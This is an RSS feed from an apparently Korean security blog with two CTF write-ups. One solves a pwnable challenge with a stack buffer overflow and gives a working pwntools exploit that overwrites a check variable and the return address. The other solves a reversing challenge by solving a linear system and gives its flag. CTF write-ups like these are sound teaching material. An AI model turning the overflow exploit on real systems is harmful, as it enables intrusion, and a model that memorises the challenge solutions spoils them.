<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>kcw0x466.exe</title><description>kcw0x466</description><link>https://fuwari.vercel.app/</link><language>ko</language><item><title>[Pwnable] VEBof</title><link>https://fuwari.vercel.app/posts/ctf/pwnable/pwnable_vebof/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/ctf/pwnable/pwnable_vebof/</guid><pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;문제 정보&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;출처: 2025 제4회 경남권 사이버보안 경진대회&lt;/li&gt;
&lt;li&gt;분야: Pwnable&lt;/li&gt;
&lt;li&gt;풀이 날짜: 2026. 07. 01&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Environment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Architecture : x86-64&lt;/li&gt;
&lt;li&gt;OS : Linux&lt;/li&gt;
&lt;li&gt;Debugger : GDB + pwndbg&lt;/li&gt;
&lt;li&gt;Decompiler: BinaryNinja&lt;/li&gt;
&lt;li&gt;Exploit : Python + pwntools&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1. 함수 분석&lt;/h2&gt;
&lt;p&gt;먼저 디컴파일을 통해 주요 함수의 흐름을 파악한다.&lt;/p&gt;
&lt;h3&gt;main() 함수 분석&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int32_t main(int32_t argc, char** argv, char** envp)
{
        int32_t argc_1 = argc;
        char** argv_1 = argv;
        initialize();
        void var_118;
        __builtin_memset(&amp;amp;var_118, 0, 0x100);
        void buf;
        __builtin_memset(&amp;amp;buf, 0, 0x100);
        int32_t var_21c = 0;
        void (* var_10)() = tictoc;
        puts(&quot;So, How much data do you want to input?&quot;);
        __isoc99_scanf(&quot;%d&quot;, &amp;amp;var_21c);
        puts(&quot;Let&apos;s input data!&quot;);
        read(0, &amp;amp;buf, (uint64_t)var_21c); // 버퍼 오버플로우 발생하는 부분
        
        if (var_10 == 0xdeadbeef)
            return 0;
        
        puts(&quot;Nah...&quot;);
        exit(0xffffffff);
        /* no return */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;입력할 데이터 사이즈와 데이터를 입력받음&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;if&lt;/code&gt;조건을 만족하면 retrurn을하고 만족못하면 exit로 프로그램을 종료함&lt;/p&gt;
&lt;p&gt;=&amp;gt; &lt;strong&gt;버퍼 오버플로우를 이용하여 if 조건을 만족시키고 Retrun Address를 수정해야함&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;printflag() 함수 분석&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int64_t printflag()
{
        int64_t var_1008;
        int64_t var_1008_1 = var_1008;
        FILE* fp = fopen(&quot;./flag&quot;, &quot;r&quot;);
        
        if (!fp)
        {
            perror(&quot;fopen&quot;);
	        return 1;
        }
        
        setvbuf(stdout, nullptr, 2, 0);
        uint64_t rax_1;
        uint64_t count;
        
        do
        {
            void buf;
            count = fread(&amp;amp;buf, 1, 0x1000, fp);
            
            if (!count)
            {
                fclose(fp);
                printf(&quot;Flag : %s\n&quot;, &amp;amp;buf);
                return 0;
            }
            
            rax_1 = fwrite(&amp;amp;buf, 1, count, stdout);
        } while (count == rax_1);
        perror(&quot;fwrite&quot;);
        fclose(fp);
        return 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;./flag&lt;/code&gt; 파일의 데이터를 출력하는 함수&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Stack Frame 분석&lt;/h2&gt;
&lt;p&gt;주요 함수 Address 확인한다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p &amp;lt;함수명&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/KnHhSWW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;함수명&lt;/th&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;main&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x40145e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;printflag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x4012ff&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;어셈블리를 확인한다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;disas main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/5Pjfivv.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;main 함수에 입력함수 직전에 브레이크를 걸고 데이터를 입력할때 까지 한 줄씩 코드 실행&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// breakpoint 설정 및 실행
b *0x4014ea
r
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ni // 한 줄씩 코드 실행
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;100&lt;/code&gt; 입력
&lt;img src=&quot;https://i.imgur.com/fnfX0cC.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;aaaaaaaaaaaaaaaaaaaaaa...&lt;/code&gt; 입력
&lt;img src=&quot;https://i.imgur.com/ljZFQWS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;스택을 확인한다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stack 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/QXAj7ku.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;지역변수들의 위치를 확인한다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;변수&lt;/th&gt;
&lt;th&gt;Address (rbp 기준)&lt;/th&gt;
&lt;th&gt;value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;buf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rbp-0x210&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;aaaaaaaaaaaaaaaaaaaa.&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;var_10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rbp-0x8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x4012b6 (tictoc)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Return Address&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rbp+0x8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x7ffff7db6d90 (__libc_start_call_main+128)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이를 통해 &lt;code&gt;rbp-0x210&lt;/code&gt; ~ &lt;code&gt;rbp+0x8&lt;/code&gt; 영역까지 버퍼 오버플로우를 시도하여 &lt;code&gt;var_10&lt;/code&gt;과 Retrun Address의 값을 변경해야한다는걸 알수있다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;var_10&lt;/code&gt;: &lt;code&gt;0x4012b6&lt;/code&gt; -&amp;gt; &lt;code&gt;0xdeadbeef&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Return Address: &lt;code&gt;0x7ffff7db6d90&lt;/code&gt; -&amp;gt; &lt;code&gt;0x0000004012ff&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Offset 계산&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;buf&lt;/code&gt;부터 &lt;code&gt;var_10&lt;/code&gt;까지&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x210 - 0x8 = 0x208
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;buf&lt;/code&gt;부터 Return Address까지&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x210 + 0x8 = 0x218
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;정리&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;buf ~ var_10 = 0x208 bytes

buf ~ Return Address = 0x218 bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. Exploit 코드 작성&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.binary = ELF(&quot;./chal&quot;)
context.arch = &quot;amd64&quot;

p = process(&quot;./chal&quot;)

# 주소
PRINTFLAG = 0x4012ff
DEADBEEF = 0xdeadbeef

# 1번째 입력 (정수)
p.sendline(b&quot;600&quot;)     

# 2번째 입력 (버퍼 오버플로우)
payload  = b&quot;A&quot; * 0x208          # buf ~ var_10
payload += p64(DEADBEEF)         # var_10 = 0xdeadbeef
payload += b&quot;B&quot; * 8              # saved rbp
payload += p64(PRINTFLAG)        # Return Address overwrite

p.sendline(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. 실행&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;python3 exploit.py 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/uLfgc6v.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exploit 코드를 실행시키면 flag(임의로 작성한 플래그, 실제 대회때 플래그 아님)가 출력되는걸 확인할수있다.&lt;/p&gt;
</content:encoded></item><item><title>[Reversing] simultaneous</title><link>https://fuwari.vercel.app/posts/ctf/reversing/reversing_simultaneous/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/ctf/reversing/reversing_simultaneous/</guid><pubDate>Tue, 07 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;문제 정보&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;출처: 정보보안 콘테스트를 위한 CTF 문제집&lt;/li&gt;
&lt;li&gt;분야: Reversing&lt;/li&gt;
&lt;li&gt;풀이 날짜: 2026. 06. 22&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;문제&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;프로그램은 실행 시 12개의 정수를 입력받는다.&lt;/li&gt;
&lt;li&gt;입력된 값은 check() 함수에서 검증되며, 모든 조건을 만족하면 입력한 정수들을 ASCII 문자로 출력하여 Flag를 생성한다.&lt;/li&gt;
&lt;li&gt;즉, check() 함수의 검증 로직을 분석하여 조건을 만족하는 입력값을 찾는 것이 목표이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;분석 및 Exploit&lt;/h2&gt;
&lt;h3&gt;프로그램 분석&lt;/h3&gt;
&lt;h4&gt;main() 함수 분석&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [esp+0h] [ebp-2Ch]
  int j; // [esp+4h] [ebp-28h]
  _DWORD *v5; // [esp+8h] [ebp-24h]
  int status; // [esp+10h] [ebp-1Ch]

  v5 = calloc(4u, argc - 1);
  if ( argc != 13 )
  {
    puts(&quot;Usage: ./equation_revenge x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12&quot;);
    exit(-1);
  }
  for ( i = 0; i &amp;lt; 12; ++i )
    v5[i] = atoi(argv[i + 1]);
  status = check(v5);
  printf(&quot;FLAG{&quot;);
  for ( j = 0; argc - 1 &amp;gt; j; ++j )
    putchar(v5[j]);
  putchar(125);
  exit(status);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IDA에서 main() 함수를 분석한 결과 다음과 같은 흐름을 확인하였다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;입력 인자는 총 12개&lt;/li&gt;
&lt;li&gt;atoi()를 이용하여 문자열을 정수 배열로 변환&lt;/li&gt;
&lt;li&gt;변환된 배열을 check() 함수로 전달&lt;/li&gt;
&lt;li&gt;검증 성공 시 입력값을 문자로 출력하여 Flag 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;check() 함수 분석&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl check(int a1)
{
  int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; i &amp;lt;= 11; ++i )
  {
    if ( sum(a1, i) != b[i] )
      return 1;
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;check()&lt;/code&gt; 함수를 분석한 결과 전역 변수 &lt;code&gt;int coefficients[144]&lt;/code&gt;와 &lt;code&gt;int b[12]&lt;/code&gt; 를 이용하여 입력값을 검증하고 있었다.&lt;/p&gt;
&lt;p&gt;또한 반복문이 총 12번 수행되며, 조건문에 &lt;code&gt;sum()&lt;/code&gt; 함수를 호출한다.&lt;/p&gt;
&lt;h4&gt;sum() 함수 분석&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl sum(int a1, int a2)
{
  int v3; // [esp+8h] [ebp-8h]
  int i; // [esp+Ch] [ebp-4h]

  v3 = 0;
  for ( i = 0; i &amp;lt;= 11; ++i )
	// v3 += a1[i] * coefficients[12 * a2 + i]
    v3 += *(_DWORD *)(4 * i + a1) * cofficients[12 * a2 + i]; 
  return v3;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;a1&lt;/code&gt;은 사용자가 입력한 12개의 정수가 저장된 배열의 시작 주소이고, &lt;code&gt;a2&lt;/code&gt;는 사용할 계수 행렬의 행 번호이다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sum()&lt;/code&gt; 함수는 입력 배열의 각 원소 &lt;code&gt;a1[i]&lt;/code&gt;와 &lt;code&gt;coefficients[12 * a2 + i]&lt;/code&gt;를 곱한 뒤 모두 더한다. 즉, 입력 벡터와 &lt;code&gt;coefficients&lt;/code&gt;의 &lt;code&gt;a2&lt;/code&gt;번째 행을 내적한 결과를 반환한다.&lt;/p&gt;
&lt;p&gt;이 반환값은 &lt;code&gt;check()&lt;/code&gt; 함수에서 &lt;code&gt;b[a2]&lt;/code&gt;와 비교되므로, 하나의 선형방정식이 성립하는지를 검사하는 구조이다.&lt;/p&gt;
&lt;h4&gt;분석 결과&lt;/h4&gt;
&lt;p&gt;전역 배열의 크기가 &lt;code&gt;12 × 12 = 144&lt;/code&gt; 인 점을 보고 12개의 미지수를 갖는 연립방정식의 계수 행렬이라고 판단하였다.&lt;/p&gt;
&lt;p&gt;수식으로 표현하면 다음과 같은 형태이다.&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
-72x_{1}-74x_{2}+91x_{3}+59x_{4}+53x_{5}-95x_{6}-32x_{7}-39x_{8}+93x_{9}+76x_{10}-31x_{11}+22x_{12} &amp;amp;= 4885 \&lt;/p&gt;
&lt;p&gt;78x_{1}-84x_{2}-96x_{3}+69x_{4}-21x_{5}-72x_{6}+89x_{7}-26x_{8}+21x_{9}+65x_{10}+3x_{11}+49x_{12} &amp;amp;= 10656 \&lt;/p&gt;
&lt;p&gt;-46x_{1}+11x_{2}-39x_{3}+54x_{4}+57x_{5}-14x_{6}+59x_{7}-10x_{8}+77x_{9}-34x_{10}+0x_{11}+99x_{12} &amp;amp;= 14249 \&lt;/p&gt;
&lt;p&gt;27x_{1}+4x_{2}+52x_{3}+23x_{4}-x_{5}+43x_{6}-41x_{7}+13x_{8}+9x_{9}-70x_{10}-16x_{11}+91x_{12} &amp;amp;= 7244 \&lt;/p&gt;
&lt;p&gt;60x_{1}-92x_{2}+84x_{3}+58x_{4}-8x_{5}-6x_{6}+91x_{7}+8x_{8}-30x_{9}-11x_{10}-5x_{11}-96x_{12} &amp;amp;= 17152 \&lt;/p&gt;
&lt;p&gt;-91x_{1}-16x_{2}-96x_{3}+51x_{4}-56x_{5}-85x_{6}-52x_{7}+46x_{8}-78x_{9}+87x_{10}+96x_{11}-83x_{12} &amp;amp;= -22439 \&lt;/p&gt;
&lt;p&gt;-32x_{1}-80x_{2}-80x_{3}+54x_{4}-28x_{5}-85x_{6}-38x_{7}-75x_{8}+5x_{9}+32x_{10}-80x_{11}-72x_{12} &amp;amp;= -41829 \&lt;/p&gt;
&lt;p&gt;5x_{1}-18x_{2}+6x_{3}+74x_{4}-9x_{5}-64x_{6}+30x_{7}-44x_{8}-26x_{9}-6x_{10}-22x_{11}+13x_{12} &amp;amp;= -7222 \&lt;/p&gt;
&lt;p&gt;30x_{1}+61x_{2}-100x_{3}+63x_{4}-19x_{5}-92x_{6}+68x_{7}-38x_{8}-11x_{9}-96x_{10}+44x_{11}-50x_{12} &amp;amp;= -12530 \&lt;/p&gt;
&lt;p&gt;59x_{1}+4x_{2}+99x_{3}-62x_{4}-34x_{5}-89x_{6}-52x_{7}+87x_{8}+22x_{9}+38x_{10}+86x_{11}+15x_{12} &amp;amp;= 18797 \&lt;/p&gt;
&lt;p&gt;-75x_{1}-92x_{2}-21x_{3}+62x_{4}-77x_{5}-31x_{6}-10x_{7}+90x_{8}+83x_{9}+89x_{10}+66x_{11}-17x_{12} &amp;amp;= 13201 \&lt;/p&gt;
&lt;p&gt;-5x_{1}+23x_{2}-29x_{3}+16x_{4}+25x_{5}+50x_{6}+95x_{7}+65x_{8}-57x_{9}+35x_{10}+4x_{11}+22x_{12} &amp;amp;= 22623
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;총 12개의 식으로 구성된 연립방정식을 만족하는 해를 구해야 한다.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;h4&gt;계수 추출&lt;/h4&gt;
&lt;p&gt;IDA Free에서는 전역 배열 전체를 한 번에 확인하기 어려웠기 때문에 GDB를 이용하여 메모리에서 계수를 직접 추출하였다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cofficients[144]&lt;/code&gt; 전역 배열 데이터 추출&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gdb ./equation_revenge
(gdb) x/144dw &amp;amp;cofficients
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/ynk5p7t.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;b[12]&lt;/code&gt; 전역 배열 데이터 추출&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gdb ./equation_revenge
(gdb) x/12dw &amp;amp;b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/VleBfvZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;연립방정식 풀이&lt;/h4&gt;
&lt;p&gt;NumPy의 numpy.linalg.solve()를 이용하여 미지수 12개를 계산하였다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import numpy as np

A = np.array([
    [-72, -74, 91, 59, 53, -95, -32, -39, 93, 76, -31, 22],
    [78, -84, -96, 69, -21, -72, 89, -26, 21, 65, 3, 49],
    [-46, 11, -39, 54, 57, -14, 59, -10, 77, -34, 0, 99],
    [27, 4, 52, 23, -1, 43, -41, 13, 9, -70, -16, 91],
    [60, -92, 84, 58, -8, -6, 91, 8, -30, -11, -5, -96],
    [-91, -16, -96, 51, -56, -85, -52, 46, -78, 87, 96, -83],
    [-32, -80, -80, 54, -28, -85, -38, -75, 5, 32, -80, -72],
    [5, -18, 6, 74, -9, -64, 30, -44, -26, -6, -22, 13],
    [30, 61, -100, 63, -19, -92, 68, -38, -11, -96, 44, -50],
    [59, 4, 99, -62, -34, -89, -52, 87, 22, 38, 86, 15],
    [-75, -92, -21, 62, -77, -31, -10, 90, 83, 89, 66, -17],
    [-5, 23, -29, 16, 25, 50, 95, 65, -57, 35, 4, 22]
], dtype=np.int64)

b = np.array([
    4885, 10656, 14249, 7244, 17152, -22439, -41829, -7222, -12530, 18797, 13201, 22623
], dtype=np.int64)

x = np.linalg.solve(A, b)

print(&quot;Solution:&quot;)
for i, value in enumerate(x, start=1):
    print(f&quot;x{i} = {value}&quot;)

print(&quot;\nRounded:&quot;)
print(np.round(x).astype(int))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;코드 실행 결과:
&lt;img src=&quot;https://i.imgur.com/uIFylj2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;결과&lt;/h2&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;p&gt;파이썬 코드로 구한 연립방정식들의 해를 매개변수로 입력하면 Flag를 얻을 수 있다.
&lt;img src=&quot;https://i.imgur.com/9f8bS0w.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG{z3_beginner!}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>